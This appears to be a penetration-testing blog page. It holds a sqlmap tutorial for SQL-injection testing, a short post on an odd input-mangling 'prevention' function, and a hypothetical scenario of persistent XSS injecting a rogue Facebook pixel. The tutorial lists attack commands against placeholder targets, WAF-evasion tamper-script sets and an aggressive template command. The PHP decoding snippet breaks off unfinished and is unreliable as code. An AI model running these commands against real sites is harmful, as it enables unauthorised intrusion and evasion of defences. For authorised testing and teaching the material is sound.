SQLmap Commands: A Tutorial on SQLmap With Examples

Introduction & Pre-requisite

SQLmap is an automated penetration testing tool for SQL injection which tops the A03:2021 – Injection list. It is different from Cross-Site Request Forgery.

In this post, you will learn more about the different types of sqlmap commands and switches.

The downloading and installing of sqlmap is pretty straightforward.

If you are using Kali Linux or any other popular Linux distribution, Git is already pre-installed and you can skip the next step.

Type the following command to install Git if it is not installed.

sudo apt-get install git

With git installed, you can clone the latest version of sqlmap by entering the following command. This will automatically download all the files in the sqlmap project.

git clone https://github.com/sqlmapproject/sqlmap.git

How to update sqlmap in kali linux

sudo sh -c "apt update && apt install -y sqlmap"

Usage & Examples

1) GET Request

This method is most commonly used where the parameters are in the URL.

python sqlmap -u "https://target.com/index.php?name=abc*&lastname=def"

The switches used in the above sqlmap command are:

-u = URL

* = specifies which parameter to scan (name in this case)

2) POST Request

For a POST requests, the parameters are located in the body section of an HTTP request and therefore, additional steps are required before sqlmap is able to detect and test the parameters for vulnerability.

2.1) Parsing using BurpSuite

Step 1: Intercept the post request using BurpSuite

Step 2: Right-click on the panel and click on “Copy to file”

Step 3: Parse the text file into BurpSuite using the -r switch

An example of the command is as follows:

python sqlmap -r /file.txt -p "def" --dbs --threads 5

The switches used in the above sqlmap command are:

-r = Request file

-p = Parameter

–dbs = Enumerate database

–threads = Number of threads running

An example of a post request:

POST /bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/saveMailGroups HTTP/1.1
Host: 127.0.0.1
Proxy-Connection: keep-alive
Content-Length: 523
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1/bedita-3.5.0.corylus.2261e29/bedita/index.php/newsletter/viewMailGroup/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

data[MailGroup][id]=&data[MailGroup][group_name]=&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],

your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],

you+have+been+unsubscribed+from "[$title]"

2.2) Parsing directly into SQLMap

Step 1: Intercept the post request using BurpSuite

Step 2: Run the following sqlmap command:

python sqlmap –u "https://target.com/index.php" --cookies= --data=

Using the example POST request above, the contents going into the –cookies switch should be:

Cookie: CAKEPHP=me57vjaqc2ts154qr342a6u6i2; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_sortsel=field_name; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_ordersel=ASC; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_limitsel=15; /impresscms_1.3.7_final/htdocs/modules/profile/admin/field.php_mod_profile_Field_filtersel=default; flash=yes; PHPSESSID=tg14v79ionj9d7lpelap300p33; cms-panel-collapsed-cms-menu=false; cms-panel-collapsed-cms-content-tools-CMSPagesController=true; cms-panel-collapsed-cms-content-tools-CMSMain=false; _ga=GA1.1.621011711.1425057132

Next, the contents going into the data section should be:

data[MailGroup][id]=&data[MailGroup][group_name]=&data[MailGroup][area_id]=1&data[MailGroup][visible]=1&data[MailGroup][security]=none&data[MailGroup][confirmation_in_message]=Hi [$user],

your+subscription+is+now+active,+soon+you'll+receive+the "[$title]"+newsletter.&data[MailGroup][confirmation_out_message]=Hi [$user],

you+have+been+unsubscribed+from "[$title]"

Miscellaneous sqlmap commands

Using the above methods, you should be able to test in most scenarios. However, there are also some other switches that may be useful.

Here are some useful sqlmap commands:

  • If you need to save some time, you can increase the number of threads used. Do note that this might affect the results for the time-based related tests.
python sqlmap -u "https://target.com/index.php?name=abc" --threads=10
  • Verbosity is an indicator to the tester that the tool is still running. This is useful for large applications with slow bandwidth. I personally use a verbosity of level 3 since it shows the payload only and therefore, doesn’t overwhelm the console.
python sqlmap -u "https://target.com/index.php?name=abc" -v 3
  • If there are a lot of parameters within a single page, you could use the batch switch to save yourself some waiting time. What this switch does is essentially use the default option instead of waiting for the user’s input.
python sqlmap -u "https://target.com/index.php?name=abc" --batch
  • You could also increase the risk and level value for sqlmap to test for more payloads.
python sqlmap -u "https://target.com/index.php?name=abc" --risk=3 --level=5
  • Another useful switch is the answer switch where you specify the response in advance. This used together with the batch switch is a real-time saver.
python sqlmap -u "https://target.com/index.php?name=abc" --batch --answers="keep testing=Y,sitemap=Y,skip further tests=N"
  • Large-scale applications with tons of forms can be tedious to test. This is where the crawl (the depth to crawl) and forms switch can be used to quicken the process. You can include the switch crawl-exclude to exclude pages like the logout page.
python sqlmap -u "https://target.com/index.php" --crawl=5 --crawl-exclude="logout" --forms
  • To bypass WAF, you could use the tamper switch to modify the payload. You are able to use multiple tampering scripts at once. (source: Bugcrowd Forum)
python sqlmap -u 'https://target.com/index.php?name=abc’ --tamper=apostrophemask,apostrophenullencode

For general usage:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

MySQL:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

These are some examples that should be sufficient to get you started. There are also other switches that can be found by visiting sqlmap’s Github page or by entering:

python sqlmap -hh

*The most useful time-saving tip I can share is to craft a templated command which you can use as base and edit accordingly to different websites during your test:

python sqlmap -u "example.com" --cookie="" --threads=10 --batch --crawl=5 --crawl-exclude="logout" --forms --eta --beep -o --answers="keep testing=Y,sitemap=Y,skip further tests=N"  --suffix='--%20' --param-exclude="token|session|logout" --skip="token|session|logout" --output-dir=~/ --smart --random-agent  --identify-waf --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

Want to continue a scan after exiting SSH? You can read more at my tmux tutorial.

Unorthodox SQLi Prevention

Recently I came across an unusual method of preventing SQL injection during a source code review. It is unusual in a sense whereby the function corrupts the input intentionally in an attempt to prevent SQL injection.

The following is a modified version of the function but the idea is similar:

function formatString($query){
    $key = "z9"; $output = "";
    $arr = str_split($query, 2);
    foreach($arr as $value){
        $output = $output . $value . $key;
    }
    return $output;
}

The code snippet above splits the string using _strsplit() into an array of groups of 2 characters (I shall refer to this as group length for the remaining post). For example, if the input is “hello”, it will be split into [“he”,”ll”, “o”].

Subsequently, the code will append the $key value to the back of each element and return the output. So if the input was “hello”, the output, in this case, would be “hez9llz9oz9”.

And to revert the string to its original state, we can simply use the following function:

function unformatString($query){
  $key = "z9"; $output = "";
  $outarray = explode($key,$query);
  foreach($outarray as $value){
    $output = $output . $value;
  }
  return $output

Persistent XSS Leading To Financial Lost (Hypothetical Scenario)

Before I continue, I want to first declare that this is a hypothetical scenario and that I did not actually exploit this on the internet. (I do not want my reader to think I am click-baiting)

Recently I got into online marketing and it was certainly eye-opening to learn how people make a living out of online business.

They could be making money literally anywhere in the world and have the ability to generate truly passive income even when they are asleep.

Anyway, one of the more important take-ups aways is that Facebook has this little snippet of the script called a Facebook pixel.

Think about it as Google Analytics but for Facebook.

It allows an online business to retarget using Facebook ads.

After inserting Facebook pixel, marketers usually have 2 phases.

The first phase is to drive traffic to their website in hope of converting the leads to sales.

And in the second phase, they have two options.

  1. Retarget customers that have purchased an item or
  2. Retarget customers that have added an item to the cart but did not checkout.

Information Security Is Hard

I am into web application security and am always thinking of ways to explain a security flaw to someone non-technical.

Usually, the explanation of XSS vulnerability consists of cookie stealing or defacement.

All of these ideas are pretty abstract and do not resonate well with a non-technical person.

So here goes another attempt in getting them to understand the severity of a persistent XSS.


Scenario

As a business owner imagine someone were to inject their own Facebook pixel into your website.

An attacker is then able to retarget all of your audience that was converting to their own.

Remember in the beginning I mentioned the first phase – to drive traffic?

Unless you are already ranking on Google, it is not cheap to drive traffic. So no business owner in the world is willing to let someone else retarget their customers.

Back to the mindset of an attacker.

Why would an attacker do this right?

If they could gain administrative access and deface a competitor’s site, why all this trouble?

The reason is simple. It’s hard to detect.

How often do business owners check the elements of their websites?

Even if they do, they would probably overlook the fact that there is an extra Facebook pixel that should not be there.


Position of Security Consultants

I think the role of a security consultant is unique.

Business people need to think in the shoes of their customers.

The C-level executive needs to think in the shoes of their employees.

But as a security consultant, you need to put yourself in the shoes of both a developer and the website owner.

It is your job to not only find the vulnerability but also make it meaningful so that the receiving end understands the severity of the vulnerability.